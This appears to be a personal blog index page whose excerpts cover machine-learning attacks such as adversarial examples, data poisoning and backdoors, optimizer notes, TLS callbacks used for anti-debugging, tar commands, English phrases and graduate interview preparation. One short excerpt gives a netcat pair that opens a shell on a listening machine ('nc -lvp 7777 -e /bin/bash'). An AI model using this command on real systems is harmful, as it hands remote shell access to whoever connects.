Paul C's Blog

To be funny,to grow up!

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现有攻击方法

对抗性攻击

借助子模型模仿(偷取)目标模型生成对抗样本(具有可迁移性,使本地子模型分类错误的样本也可以适用于目标模型。)进行攻击。

原理:

训练得到的模型边界与真实的决策边界不一致

(因为用于训练的原始样本集不可能将所有情况都涵盖。)

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模型训练的边界与真实决策边界之间的空间就是对抗样本的空间。根据特征的梯度方向对样本特征进行改变,使得样本逐渐绕过边界。

缺陷:需要攻击者在目标模型上进行大量的查询来获得大量反馈

防御:

  • 微笑着面对它(主动防御)。训练阶段就使用对抗样本来训练模型,让模型更加健壮。
  • 请求帮助(被动防御)。正式运行后,构建辅助网络,预测输入样本是对抗样本的概率。

投毒攻击

分类:针对目标的攻击、无差别投毒攻击、后门。

  • 无差别投毒攻击:旨在破坏模型的可用性
  • 目标性投毒:旨在通过投毒使得某一个或者某一类样本能躲避模型的检测。

原理:

无差别投毒攻击:伪造错误数据或者修改数据标签后,模型抓取到的数据是虚假的或者错误的,用人话说就是模型的世界观被歪曲或者颠倒了。

  • 缺陷:需要控制样本标签;模型整个不可用了,易被发现

针对性投毒攻击:通过给样本添加目标标签对应的特征,让它绕过模型的边界

  • 缺陷:针对特定的样本,不能通用。

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后门:让模型有后门。对于干净的数据集进行分类,只有遇到特定标记的样本时才会触发后门。

  • 缺陷:需要控制样本标签;

image-20220311160926060

防御:

与对抗性攻击的防御类似。训练之前预先过滤,检测剔除可疑样本;

正向

先虚拟机再主机

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nc -lvp 7777 -e /bin/bash
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nc 192.168.93.135 7777

  • SGD(stochastic gradient descent) 随机梯度下降
  • SGD with momentum
  • Adagrad
  • RMSProp
  • Adam

Notation

参数: θt,

梯度: ∇ L(θt),

动量:m_{t+1}

Problem Simplication

Off-line Learning

Generalization ,即SGDM收敛性一般优于Adam,而Adam训练起来比较快。可以设置Learning rate range,即upbound和lower bound,设置好stepsize,动态一大一小地设置学习率。

攻击原理

数据的价值在于其完整性、隐私性和可用性。“数据投毒”就是主要针对数据的完整性开展攻击,通过数据里“掺沙子”、加入“有毒”数据污染模型。

神经网络

1.神经网络特征

  • 非线性
  • 学习和自适应性:泛化能力
  • 非凸性:函数有多个极值点,所以网络也有多个比较稳定的平衡态

2.神经网络发展

Read more »

TLS (Thread Local Storage 线程局部存储 )回调函数常用于反调试。创建进程的主线程时会自动调用回调函数,其运行要先于Entry Point代码执行.

ScreenShot2022-02-12 pm12.12.38

每当创建/终止进程的线程时会自动调用执行(前后共调用两次)。

Read more »

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#解压缩
tar -xvf xxx.tar
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#压缩  target  source_dir/
tar -cvf xxx.tar xxx/

其中,字母v如果更换为
-z #生成tar.gz文件
-j #生成tar.bz2文件
-Z #打包成xxx.tar后,并且将其用compress压缩,生成一个umcompress压缩过的包,命名为xxx.tar.Z


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#追加文件放入压缩包
tar -rf xxx.tar newadd.txt
#更新文件放入压缩包
tar -uf xxx.tar newadd.txt
#展示压缩包中的文件
tar -tf xxx.tar

1.Yeah,I’m good to go. 我准备好了

2.Really?You don’t know what that means to me.我很感动

3.Knock Knock!How are we today?有人在吗,今天过得怎么样?

4.They’ll wind up calling her Geller,then he gets his way.他们最后就会只叫他盖勒,他就得逞了

5.We are kind of thing now.我们在交往

6.Things change,roll with the punches.世事难料,见招拆招(逆来顺受)

7.House cats, for one, are twilight hunters with vertically elongated pupils. 举个例子,黄昏的猎手家猫,有着竖直拉长的瞳孔。

8.cushions the blow.把打击变得和缓(降维打击??)

Read more »

除了部分问题,绝大多数问题回答行数应该在4行,最多不超过6行。

1.报考原因&专业认知

1.Which direction are you most interested in ,why?

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Definitely Penetration test,cause it's interesting,isn't it?Ever since I was a kid ,I wanted to be a hacker.During my undergraduate,this dream come true.I attended the ctf team of our college called Qs2.From capturing the flag,gradually,I can take down a website on my own.Every time I find a vulnerability or gain shell priveleges on the attacked machine,I feel satisfied and accomplished.It will leave me a good mood all day.

2.Why do you choose to take the exam twice (go to graduate school)sinstead of going to work?

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I think life is long enough, career life is long,too.So there is no need to rush to work.Instead ,we can take seveal years to invest ourselves.Somebody may say,you can further your study while working.Yes,it's true.But the real study time while you are working is very little,I want to learn as much as I can while I'm young.So I'm here for interview rather than getting a job to do.

3.why did you choose our university/institute?

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I was intially attracted by Your University's high reputation.Afer consulting with several teachers in your department,I was even more impressed by the university's strong academic atmospher and the professor's Serious and rigorous academic attitude.So here I am.

4.Why do you choose Information and security as your major?

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Cause I have a interest in it.

5.Which kind of professors do you like best?

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Well.First is a solid foundation of knowledge.Then,I hope he could be of full academic rigor.Then those who have passion for academics and enough patience to answer questions are my favorite.

6.How do the people around you think of Information Security?

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At least until their sophomore year, they thought there was no difference between our majar and Computer science.So did I.But,once we learnd some core curriculum like Cryptography,Malware analysis etc.We know there is indeed a difference between the two.	Our learning is more focused on assuring security in a statistical sense.

7.关注专业领域变化

What do you think have been the most important changes in your study field over the past five years?

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2.未来规划

1.我想在研究生期间得到的

What do you expected to achieve during the study if you are enrolled into this institute?

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2.What’s your plan in the postgraduate study?

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3.If you failed this time what will you do in the near future?

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Just go to work.

4.What are your future goals?Will you continue studying or find a job?(读博还是工作)

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5.What is your plan in the next five years?

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Finish my postgraduate study and then go to work to practice my skills and earn some money.

—12—

3.本科学习

1.介绍母校

Please introduce your university.

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2.毕业论文

Tell me something about your graduation thesis.

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3.What impressed you most during your college years?

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In the second semester of junior year,I took a course called .Su Ming,

4.Tell me something about your major.

Why do you choose a double major?what did you get from your double major?

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It can give me a Interdisciplinary Perspective,and really it is.

5.本科学习情况

Please tell me about your study details in your college.

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Generally speaking,I spend more time on some preferred courses and little time on others that looks like useless.

6.证书

What qualifications have you obtained?

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7.What have you learned from your internship experience?

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8.研究经历中学到的

What have you learned from your research experience/competion experience?

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9.What is the biggest difficulty you encounter in conducting research?

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10.What have you learned from your club experience?

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11.What has your greatest success/accompishment in campus life?

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12.最喜欢的课程

What is your favorite subject and why?

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13.最喜欢的老师

Who is the teacher you admire most?

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14.What are the differences between middle school life and university life?

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15.What are the differences between school life and social/company life?

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16.What is the best university life in your opinion?

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—28—

4.性格爱好

1.What’s your favorite book?

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My favorite book is "Mystery Island",a science fiction wrote by Jules Verne. In this novel, five Northern American stranded on a desert island in the pacific.United as one,helping with each other,with the power of knowledge, and a little luck, they escaped from the island and returned to their hometown successfully.I always remember a sentence from this book.That is "People must help themselves first, and then God will help them".

2.Introduce your hobby./Do you have any hobbies in your free time,

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I am a sportsman.I love running,playing basketball and swimming.Besides,I love reading books.Sports give me a healthy body,while books give me a clear mind.For myself,for the life,for what person I want to be.

3.Please desribe your personality(性格特点)

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我是一个善良、乐观、积极向上的人。

4.What is your greatest strength?

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我最大的优点是常常反思,并且不断地调整自己。吾日三省吾身:为人谋而不忠乎?与朋友交而不信乎?传不习乎?这几乎成为了我的思考模式。我会写日记将我的一些不太恰当的行为和言论记录下来,尽量让我自己不要踏入同一条河流,持续地成长。
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5.What are your weak nesses?

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我的缺点是三分钟热度,容易虎头蛇尾。为了克服这一弱点,我会制定计划、并请朋友监督我。比如,我毕设时找了一位比较严谨的老师,在他的监督下,保持着进度,最后顺利完成了毕业设计。
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6.What are the difficult things for you?

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不熬夜吧。熬夜已经成为了一种习惯,具有行为惯性。我能做的就是关闭各种电子产品,早点上床睡觉。但是总是会因为各种事情再次去熬夜,反反复复,我仍然在克服着它。

7.How will you deal with a heavy workload?

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第一是评估它,评估它的数量和质量,然后分解它。若是我一个人在规定时间内可以完成,那么我会尽快完成;若是按照我心目中的标准无法完成,我会挤压其他时间,寻找一些加快工作进度的方法;若是这样仍然无法完成,我会和导师联系,商量推迟提交时间,保证工作质量。
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First of all,I will evaluate the workload,divide it and conquer it.I will see how long can I finish it.

8.Tell me about a bad decision you have ever made.

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Fall in love during my exam preparation period,that is 2020,when the pandemic began.Pandemic led to lockdown,and then we two people broke up.It really broke my heart.I wad depressed and upset during that time,not in the mood to study.Thanks God I walk out,and I will never let others disturb my mood again.

9.Do you like watching movie?Talk about a movie you like/you have watched recently?

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No,I dislike watching movie.May I use a tv paly instead?Recently I watched An American comedy series,Friend.I watched it beacuse I wanna learn some native oral English.I like those people's life,for they have friends who support each other,just as the theme song describes,I'll be there for you .But I don't admire them cause I have many friends too.

10.What’s your favorite sport?

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11.What kind of music do you like?What role do you think music plays in our life?

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12.What’s your favoirte season/weather?

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13.What places have you visited? Which place interested you most?

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—41—

5.家庭和家乡

1.Where are you from?Tell me something about your hometown.

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Film and television works like Age of peace

2.What places in your hometown do you like best?

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In the urban,I would choose stadium as my favorite one.I used to play basketball with my friends there.And that's the place I knew and got familier with some people,in which we run,jump and laugh.I really spent a lot of time there.So Every time I recall my middle-school life ,the county stadium will be there as a background.

3.Can you introduce the history of your hometown?

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It has a long history.Back to the first year of Emperor Yu of Xia, Shandan belonged to the domain of Yongzhou.In the Western Han Dynasty,Huo Qubing defeat the Huns,set this place as a conuty called zhangye,which means country's arm has been extended to connect the western regions.And Shandan is the capital of this county.Now ,Shandan  is a pearl on the Silk Road. I believe it will flourish.

4.Can you introduce the food in your hometown?

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My hometown is full of delicious food,most of which are made with flour.Take noodles for example,they have many production methods.Like cut them with a scissor,toggle them with a chip of chopstics and peel them with a knife. Cool.Isnt it?To the noodles cut by a scissor,we'll call them fish cut.Because they are really like fishes.
It's almost time, so let's end it like this.We can talk about it later.

5.Can you tell me something about your family?

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We are a family of four.Besides my parents, I have a 5-year-old brother.My father is a public servent of urban administrtion.And he is a down-to-earth person.While my Mom is a primary school teacher,working hard and pursing perfect .They two love each other deeply.As for my younger brother,I look he grows up.And I hope I can develop myself to the best so that I can help him in the future life.

6.How are you getting along with your parents?

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Not bad.We  have few topics in common to talk about.So ,we don't contact each other too often,just about 1 times a week.When I was home,I usually locked myself at the bedroom ,Talking with them  only when it's time for meal.Though little communication ,we get along well. Beacuse we clearly know that we care about each other and hope all is well.

7.Does your family support your decision on pursuing a graduate degree?

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Definitely yes.When I was a freshman,my father told me ,"Go look after yourself,don't worry about the money.We'll solve it." My dad,oh man,he is really a thrifty man.He saves all the money for me.And I don't want  to disappoint him,I must be some big guy one day.

8.What do you and your family like to do together?

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Play cards.Every lunar new year,form New Year's eve to the 3rd day ,we play cards together.Sometimes my daddy goes to the toilet,my mom and I will switch cards to make sure that we can win.Oh,it's really funny,and my favorite time of Spring Festival.

https://www.bilibili.com/video/BV1s3411h7Qh

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Hello,Professors! I'm very glad to be here for interview.I'm PaulC from Gansu Province.Last year I Graduated from Beiguan University, my major is xxx.

During my bachelor period,I'm very interested in many major courses especially practical ones,like Vulnerability Exploitation, Penetration Test Fundamentals and Malware Analysis,from where I learned many useful practical skills to exploit vulnerabilities ,detect and analyse computer viruses.

I am an optimistic person,likeing to try new things.During my bachelor period,I'm interested in Cyber security,AI and BlockChain.So I attended a ctf team called xxx ,played a lot of ctf games,did two projects on topics related to machine learning and blockchain respectively.

In my daily life,I Like making friends with different people,traveling around the country.In my spare time,I read books.Books can really give me a chance to experience different life.It feels good.

I also have some cons. For example, three minutes of heat, I will be affected easily by the environment,and that's why I really want to attend your group,a place full of academic atmosphere.

In the process of preparing for the re-examination, I have been doing an internship mainly about using machine learing methods to assure cloud hosting security.

That's all.Thank you for your time.

硕士论文:自己尝试解题/提出一个好问题。

在Reseach Interest上待足够久的时间

一张解释AI各种专业名词关系的好图:

image-20220510195652214

image-20220510195847817